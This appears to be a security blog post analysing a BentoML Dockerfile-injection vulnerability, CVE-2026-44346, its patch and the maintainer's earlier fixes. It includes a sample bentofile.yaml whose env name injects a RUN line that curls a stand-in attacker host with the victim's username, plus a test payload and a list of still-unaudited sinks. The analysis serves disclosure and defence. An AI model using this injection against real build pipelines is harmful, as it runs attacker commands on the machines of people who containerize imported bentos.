//nefariousplan

CVE-2026-44346: BentoML Quoted `env.value`. `env.name`, On The Next Line, Got A Different Filter.

vendor

patterns

cve

proof of concept

BentoML 1.4.38 renders user-supplied YAML into the Dockerfile that bentoml containerize hands to docker build. The renderer is a Jinja loop. Two adjacent lines inside that loop interpolate env.name and env.value from bentofile.yaml. env.value is passed through bash_quote. env.name is rendered raw.

The 1.4.39 patch leaves env.value | bash_quote alone and adds a different filter, called normalize_line, to env.name on the line above. The function it calls is six characters wide. It is the third Dockerfile-injection patch the same maintainer has shipped against the same component since March.

The two filters live on adjacent template lines

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 in BentoML 1.4.38, lines 67 through 74:

{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}

ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}

bash_quote is registered in src/bentoml/_internal/container/generate.py as a Jinja-side alias for Python's shlex.quote. The filter wraps shell-special inputs in single quotes so that anything reaching docker build's shell from the ARG default-value position arrives as one literal token. env.value carries the wrap. env.name, six characters to the left, does not. The Dockerfile parser that consumes both bytes has no idea which side of the YAML the bytes came from.

A bentofile.yaml of the form

envs:
  - name: "FOO\nRUN curl https://attacker.example/$(whoami)"
    value: "bar"

renders, in 1.4.38, as:

ARG FOO
RUN curl https://attacker.example/$(whoami)=bar

ENV FOO
RUN curl https://attacker.example/$(whoami)=$FOO
RUN curl https://attacker.example/$(whoami)

The newline inside env.name survives {{ env.name }} because the template applies no filter. It shifts the second half of the ARG line down to a new line, which the Dockerfile parser now reads as a fresh RUN directive. docker build invokes that RUN through a shell. The shell runs the curl. The victim is whoever ran bentoml containerize on the imported bento.

The asymmetry inside the loop is the bug. Both fields originate in the same YAML document, pass through the same Pydantic model, reach the same Jinja iteration. The difference between them in the maintainer's head was that one is "an environment variable name" and the other is "an environment variable value." bash_quote was the filter applied to whichever side the developer perceived as more user-controlled.

What normalize_line does

The 1.4.39 patch (commit 9cddd66, merged April 30, 2026) modifies the loop:

-ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
-ENV {{ env.name }}=${{ env.name }}
+ARG {{ env.name|normalize_line }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
+ENV {{ env.name|normalize_line }}=${{ env.name|normalize_line }}

env.value continues to use bash_quote. env.name is now filtered through normalize_line. The two filters are not the same filter.

normalize_line is defined in the same patch, in generate.py:

def normalize_line(s: str) -> str:
    """
    Normalize a line by stripping leading and trailing whitespaces and replacing multiple spaces with a single space.
    """
    return " ".join(s.strip().split())

s.strip().split() splits on any whitespace run, including newlines and tabs. " ".join(...) rejoins with single spaces. The function is a content transform that removes whitespace. It is not an escape. It does not wrap the input in quotes. It does not delimit it. It does not validate that the value matches an environment-variable-name grammar.

The maintainer's own test, added by the same patch and asserting the new filter's behavior on the parallel FROM directive injection, makes the choice literal:

def test_generate_containerfile_normalizes_custom_base_image(tmp_path):
    dockerfile = generate_containerfile(
        DockerOptions(base_image="  python:3.11-slim\nRUN touch /tmp/pwned  "),
        ...,
    )
    assert "FROM python:3.11-slim RUN touch /tmp/pwned as base-container" in dockerfile
    assert "\nRUN touch /tmp/pwned" not in dockerfile

The first assertion is the security contract: the attacker-supplied RUN touch /tmp/pwned lands as a literal token on the FROM line of the rendered Dockerfile. The injected bytes are still present. They are no longer on their own line. docker build will refuse to parse FROM python:3.11-slim RUN touch /tmp/pwned as base-container because the FROM directive's grammar does not admit that syntax, and the build will die before reaching the embedded token. The Dockerfile parser is the layer that rejects the attack. The filter's job is to confine the input to one line so the parser's existing strictness catches it.

The advisory's recommended remediation names a different fix. From the GHSA: "validate at the schema level by adding regex validation in bentoml/_internal/bento/build_config.py:BentoEnvSchema," specifically ^[A-Za-z_][A-Za-z0-9_]*$, the canonical regex for a POSIX environment-variable identifier. That is the contract env.name was always supposed to satisfy. The advisory frames it as preferred. The maintainer chose normalize_line.

The third Dockerfile-injection patch in five weeks

9cddd66 is not the first patch in this family. It is the third the same author has shipped against BentoML's Dockerfile generation pipeline since late March 2026.

Patched in Commit Advisory Field Filter chosen
1.4.37 ce53491 (2026-03-24) GHSA-jfjg-vc52-wqvf / CVE-2026-33744 docker.system_packages in four base templates and _bentoml_sdk/images.py | map('bash_quote') | join(' ')
1.4.38 79fbea5 (2026-04-01) GHSA-fgv4-6jr3-jgfw / CVE-2026-35043 docker.system_packages in _internal/cloud/deployment.py::_build_setup_script shlex.quote(p)
1.4.39 9cddd66 (2026-04-30) GHSA-w2pm-x38x-jp44 / CVE-2026-44346 envs[*].name and __options__base_image in base_v2.j2 normalize_line

GHSA-fgv4-6jr3-jgfw is titled, verbatim, "Incomplete fix for CVE-2026-33744: command injection in cloud deployment setup script." The vendor's own advisory text labels its second patch as a continuation of the first. The 1.4.38 release exists because the 1.4.37 release closed system_packages in one part of the codebase, the four Jinja templates that interpolated the list into apt-get install, yum install, and apk add, and missed the parallel sink in cloud/deployment.py where the same configuration value was being concatenated into a different shell script for cloud-deployment builds. Same field. Different code path. Eight days apart.

1.4.39 then arrives twenty-nine days later, with a different filter on a different field, in the same Jinja template tree. The vendor's advisory for this third CVE names the prior two CVEs in its "Related" section and reads, in part, "The envs[*].name field is the same root-cause class…but was never included in the fix scope."

Three CVEs. Three fields. Two filters. One template engine. The substrate, a Jinja2 rendering pipeline that turns user YAML into a Dockerfile by per-field developer attention, with no central escape layer between the loaded bentofile.yaml and the rendered template, did not change between any of the three releases.

The same window contains an attempted architectural fix. Commit 716daf4, dated April 2, replaces jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and removes the jinja2.ext.do and jinja2.ext.debug extensions. That is the right-shaped change: applied once, at the rendering engine, removes a class of capabilities the template author can use. It is silent on field-level escaping because field-level escaping is not the rendering engine's job. Twenty-eight days after the sandbox switch, the same author shipped another field-level filter.

The substrate is per-template. The fixes are per-field.

This is the Design Debt Driver pattern at the template-engine layer. The catalog defines the shape: a component whose architecture is a fertile substrate for a specific bug family, with each patch closing the instance and the substrate continuing to produce. The instance count keeps going up.

The pattern already carries exhibits at very different layers of the stack. Apache Camel's DefaultExchangeHolder is Serializable, and each Camel component that calls new ObjectInputStream(...).readObject() on an attacker-supplied byte buffer is a separate CVE; the same maintainer has shipped ObjectInputFilter into eight Camel components in twenty-seven months. ActiveMQ's BrokerView deny list is a Set.of(...) literal where each newly-CVE'd transport scheme gets added by hand, because the parameter type is String and the URI registry is open. Microsoft WerSvc is on its thirty-third elevation-of-privilege CVE in a service whose dispatcher launches SYSTEM processes on behalf of arbitrary local callers, patched per-case.

BentoML's container generator is the same shape at the Jinja template layer. There is no escape function between the YAML loader and the renderer that classifies every field by which interpreter consumes its bytes. The classification is done in the maintainer's head, one field at a time, after a PoC against that field has arrived. The same author has now shipped two flavors of filter, shlex.quote and normalize_line, against three different fields, across three consecutive patch releases of the same package, against the same generator. The next field a researcher tests will be a field that nobody has yet named.

__options__commands, __options__post_commands, __options__python_version, the bento__user interpolation that lands inside both chown arguments and the Dockerfile USER directive, and the per-base-distro dockerfile_template user-override path that loads attacker-shipped Jinja templates from inside the bento, are all interpolation sinks in the same template tree. None of them are in the patched commits. None of them are in the GHSAs. None of them have been audited in any pull request that mentions injection. The May 27 publication date of CVE-2026-44346 is the start of the audit window for the next field.

The asymmetry inside one loop is a separate pattern

The shape inside the eight-line loop is also a smaller pattern. env.value got the filter. env.name, the adjacent field on the same iteration, did not. Both fields flowed into the same Dockerfile sink. The author who wrote the bash_quote call had the entire threat model in front of him, in the same file, on the same loop iteration. The filter applies to the side he perceived as more user-controlled.

This is Sanitized The Secrets, Not The Sink. The pattern's prior exhibits read the same way at the function granularity: ASUSTOR's vpn.cgi escaped the username and password it wrote into a pppd peer config and skipped the server-address field on the same line, all three reaching /bin/sh via pppd's pty handler. OPNsense's local_user_set applied escapeshellarg() to the GECOS comment and not to the six other pw arguments adjacent to it, all seven flowing into popen(). Easy Elements' WordPress handler hardened the role field and then iterated custom_meta into the same wp_capabilities key the role denylist guarded.

BentoML's loop is the same shape with the interpreter swapped for a Jinja-rendered Dockerfile and the sort axis flipped: the field with the alphanumeric value was perceived as content, the field with the identifier name was perceived as structural. The structural-looking field was the one a malicious YAML used.

What the advisory's PoC repository confirms

The public PoC for CVE-2026-44346 is gated behind a HuggingFace repository at mrw0r57/bentoml-envs-cmdinjection-poc. The advisory does not display the YAML inline. The repository is signed-in-only.

That is fine. The patch is the evidence. The two filters live in commit 9cddd66 on adjacent template lines, the test the maintainer wrote asserts the injected RUN token survives the filter and lands as a literal substring on the FROM line, and the GHSA-w2pm-x38x-jp44 advisory text names system_packages twice in its "Related" section. The artifact under HuggingFace gate is the demonstration. The artifact in the BentoML repository is the design.

PoC: GHSA-w2pm-x38x-jp44 and patch 9cddd66

The component will produce the next one before this one is fully understood.